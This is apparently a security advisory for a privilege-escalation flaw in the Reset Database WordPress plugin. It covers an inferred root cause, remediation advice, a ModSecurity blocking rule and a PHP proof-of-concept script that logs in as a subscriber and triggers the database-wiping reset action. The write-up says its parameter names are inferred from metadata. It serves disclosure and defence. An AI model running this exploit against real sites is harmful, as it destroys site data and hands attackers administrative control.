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Published : November 15, 2026

CVE-2026-119615: Reset Database <= 1.1.3 Authenticated (Subscriber+) Privilege Escalation to Missing Capability and Nonce Check in process_reset() PoC, Patch Analysis & Rule

Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 1.1.3
Patched Version —
Disclosed November 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-119615 (metadata-based): This vulnerability is an authenticated privilege escalation flaw in the Reset Database plugin for WordPress, affecting versions up to and including 1.1.3. The process_reset() function, believed to be the core handler for the plugin’s database reset feature, is registered on the admin_init hook without any capability check. Attackers with subscriber-level access can invoke this function and achieve full administrative control of the site. The CVSS score is 8.8 (High), reflecting high impact on confidentiality, integrity, and availability with low attack complexity and privileges required. No patched version is available, so the plugin remains exploitable in all released versions.

Root Cause: Based on the CWE-269 classification (Improper Privilege Management) and the vulnerability description, Atomic Edge research infers that the plugin fails to enforce proper authorization and nonce verification. The process_reset() function is hooked to admin_init, which fires for all authenticated users in the admin area. The function computes a nonce but never validates it (computed-but-unused nonce), and it lacks a current_user_can() check for administrative capabilities. The gating condition passes whenever no WordPress administrator with the literal username ‘admin’ exists, which is the default on most modern installations since WordPress 3.0 encourages custom admin usernames. The identity test incorrectly verifies the attacker’s own password instead of an administrator’s password, further weakening the security control. These conclusions are inferred from the description and CWE, as no source code diff is available. Atomic Edge analysis notes that the exact implementation of the gating condition and password check cannot be confirmed without code, but the described behavior strongly suggests a flawed logic flow that trusts user-supplied data.

Exploitation: An authenticated attacker with subscriber-level access sends a crafted HTTP request to /wp-admin/admin-ajax.php with the action parameter set to process_reset (or the plugin’s specific action name, inferred as process_reset from the function name). The request must include parameters that the process_reset() function expects, such as a nonce (which is ignored) and a password (which is checked against the attacker’s own account). The attacker can obtain their own password, so the check passes. The function then drops all WordPress database tables with the site’s prefix, re-runs wp_install() using the attacker’s credentials, making the attacker the sole administrator, sets an authentication cookie via wp_set_auth_cookie(), and deletes the uploads directory. The attacker can then log in as the new administrator. Atomic Edge analysis infers the exact parameter names and values from the function name and typical WordPress patterns, but the core exploit path is clear: any subscriber can trigger the reset by sending a request to the admin-ajax endpoint with the appropriate action and their own password. No nonce or capability check prevents it.

Remediation: The fix requires adding a capability check, such as current_user_can(‘manage_options’), before executing any database reset operations. The nonce must be properly verified using wp_verify_nonce() with the correct action. The gating condition that checks for an administrator named ‘admin’ should be removed entirely, as it introduces unnecessary and flawed logic. The identity test should verify the current user’s password, not an arbitrary one, or better, rely solely on capability checks and nonces. Atomic Edge research recommends that the plugin fully enforce WordPress’s built-in security mechanisms: nonce verification on all form submissions, capability checks for administrative actions, and proper sanitization of input. Since no patched version exists, users should disable or remove the plugin.

Impact: Successful exploitation allows a subscriber-level user to escalate to full administrator privileges. The attacker can drop all database tables, causing complete data loss, and reinstall WordPress with their own credentials. They can then take over the site, install malicious plugins or themes, create new administrative users, and exfiltrate sensitive data. The deletion of the uploads directory results in loss of media files and other uploaded content. The high CVSS scores for confidentiality, integrity, and availability (C:H/I:H/A:H) reflect the severe impact: total compromise of the site and its data.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:2026119615,phase:2,deny,status:403,chain,msg:'CVE-2026-119615 via reset-database process_reset AJAX action',severity:'CRITICAL',tag:'CVE-2026-119615'"
  SecRule ARGS_POST:action "@streq process_reset" "chain"
    SecRule ARGS_POST:password "@rx ^" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-119615 - Reset Database <= 1.1.3 - Authenticated (Subscriber+) Privilege Escalation
// This PoC assumes the attacker has valid subscriber credentials.
// The exploit sends a request to admin-ajax.php with action=process_reset and the attacker's password.
// The plugin's flawed logic will reset the database and create a new admin account.

$target_url = 'http://example.com'; // Change to target WordPress site URL
$username = 'subscriber'; // Attacker's subscriber username
$password = 'password'; // Attacker's password

// Step 1: Authenticate as subscriber to obtain cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code != 200) {
    die("Login failed with HTTP code $http_coden");
}

// Step 2: Trigger the vulnerable process_reset action
// The plugin registers process_reset on admin_init, but it may also be callable via admin-ajax.
// We assume the action name is 'process_reset' as inferred from the function name.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'process_reset',
    'password' => $password, // Attacker's own password, which the flawed check verifies
    // A nonce parameter may be required by the plugin, but it is computed and not validated,
    // so we can omit it or supply a dummy value. We include a dummy nonce to be safe.
    'nonce' => 'dummy'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Response HTTP code: $http_coden";
echo "Response body: $responsen";

// Step 3: After successful exploitation, the attacker becomes administrator.
// The PoC can attempt to access wp-admin to verify.
$admin_url = $target_url . '/wp-admin/';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$admin_response = curl_exec($ch);
$admin_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Admin access HTTP code: $admin_http_coden";
if ($admin_http_code == 200 && strpos($admin_response, 'Dashboard') !== false) {
    echo "Exploit successful: Now administrator.n";
} else {
    echo "Exploit may have failed or requires manual verification.n";
}
?>

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